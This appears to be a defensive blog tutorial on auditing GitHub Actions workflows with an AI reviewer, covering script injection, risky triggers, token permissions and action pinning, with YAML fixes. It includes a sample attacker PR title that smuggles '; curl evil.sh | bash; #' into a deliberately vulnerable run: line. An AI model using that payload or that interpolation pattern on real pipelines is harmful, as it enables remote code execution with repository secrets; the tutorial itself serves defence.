⚙️ Auditing GitHub Actions Workflows for Security with AI

A CI pipeline is the softest target in most organizations and the one nobody audits. It runs with a token that can push to your registry, deploy to production, and read your secrets. It pulls in third-party code on every run. And it’s defined in YAML that gets approved with a casual thumbs-up because “it’s just config.”

I learned to take CI security seriously after watching a pull_request_target workflow happily run an attacker’s code with write access to the repo. The exploit was a textbook script injection through a PR title. Nobody on the team had read the workflow closely enough to spot it. Now I audit workflows the way I audit sudoers — and I let AI do the first pass. Defensively, of course: finding the holes so we can close them.

What goes wrong in workflow YAML

GitHub Actions has a handful of recurring, high-impact mistakes:

• Script injection — interpolating untrusted input like ${{ github.event.pull_request.title }} directly into a run: block lets an attacker inject shell commands.
• pull_request_target with checkout of PR code — this trigger runs with the base repo’s secrets and write token, so executing fork code under it is a full compromise.
• Over-scoped GITHUB_TOKEN — the default token permissions are often broader than the job needs.
• Unpinned actions — uses: some/action@v3 follows a moving tag; if that tag is repointed at malicious code, you run it.
• Secrets in logs — echoing or mishandling secrets so they leak into build output.

These are all detectable by reading the YAML carefully. The problem is that nobody reads it carefully. That’s the job I delegate.

Dump every workflow and feed the structure

Collect the workflows and any reusable/composite actions they call:

# All workflow definitions
ls -la .github/workflows/
cat .github/workflows/*.yml

# Find the high-risk triggers specifically
grep -rn "pull_request_target\|workflow_run" .github/workflows/

The grep for pull_request_target is worth running on its own. If you have any, those are the first files to audit, every time.

A focused workflow-audit prompt

I scope the prompt tightly to the known failure modes so the model doesn’t wander:

You are a CI/CD security reviewer auditing a GitHub Actions workflow.
Find security issues ONLY, ranked by severity:
1. Script injection: any ${{ }} expression using untrusted input
   (github.event.*, issue/PR titles, branch names) inside run: blocks.
2. Dangerous triggers: pull_request_target or workflow_run that checks
   out or executes untrusted/fork code.
3. Token scope: is permissions: set explicitly and least-privilege?
4. Unpinned actions: any uses: pinned to a tag/branch instead of a
   full commit SHA.
5. Secret handling: any secret echoed, printed, or passed to fork code.
Explain each finding and the attacker path. Do not rewrite the file.

Workflow:
<paste YAML here>

When I run this against the workflow that bit us, the model flags the injection on the first pass:

# DANGEROUS: PR title flows straight into the shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"

An attacker names their PR "; curl evil.sh | bash; # and the interpolation puts that string directly into the shell. The fix is to pass untrusted input through an environment variable, where it’s treated as data, not code:

# SAFE: the value is quoted as data, never re-parsed as shell
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building PR: $PR_TITLE"

Pro Tip: Treat every ${{ github.event.* }} expression inside a run: block as attacker-controlled until proven otherwise. The fix is almost always the same — bind it to an env: variable and reference it with normal shell quoting so it can’t break out of the string.

Lock down the token and pin your actions

Two structural fixes that an AI audit will reliably recommend. First, set least-privilege token permissions at the top of the workflow so every job starts read-only and you grant up from there:

permissions:
  contents: read   # default everything to read-only

jobs:
  release:
    permissions:
      contents: write   # grant write only where actually needed
      packages: write

Second, pin third-party actions to a full commit SHA instead of a tag, so a repointed tag can’t slip malicious code into your pipeline:

# Mutable — a compromised tag runs in your pipeline
- uses: actions/checkout@v4

# Pinned — only this exact reviewed commit can ever run
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

The model is good at spotting unpinned actions, but it cannot verify that a given SHA is actually the one you think it is — that verification is on you, against the upstream repo.

Wire the audit into the pipeline itself

A one-off review ages out fast. I run this audit on every workflow change, the same way our code review dashboard treats any risky diff as something to flag before merge. For deeper supply-chain concerns, this pairs naturally with securing CI/CD against supply-chain attacks, which goes beyond workflow YAML into artifact signing and dependency provenance. For the audit itself I usually drive Claude or GitHub Copilot with the prompt above.

Defensive, and verified by a human

The usual two rules. AI here is a fast junior security reviewer: it knows the injection patterns, the dangerous triggers, and the pinning best practices, and it’ll catch the obvious holes in seconds. But it can misjudge whether a given input is actually attacker-controlled in your specific setup, and it won’t validate a commit SHA for you. I verify every finding before changing a workflow, and I never test fixes straight on main. And I never paste real secrets, tokens, or secrets.* values into the prompt — the YAML structure is all the model needs to find the holes.

Conclusion

Your CI pipeline is privileged code that pulls in untrusted input, and it deserves the same scrutiny as anything running as root. An AI auditor makes that scrutiny cheap enough to do on every change — injection, triggers, token scope, pinning — while you stay the human who confirms the attacker path and applies the fix. Start from the security and hardening guides and keep a tuned set of CI-audit prompts in your prompt library.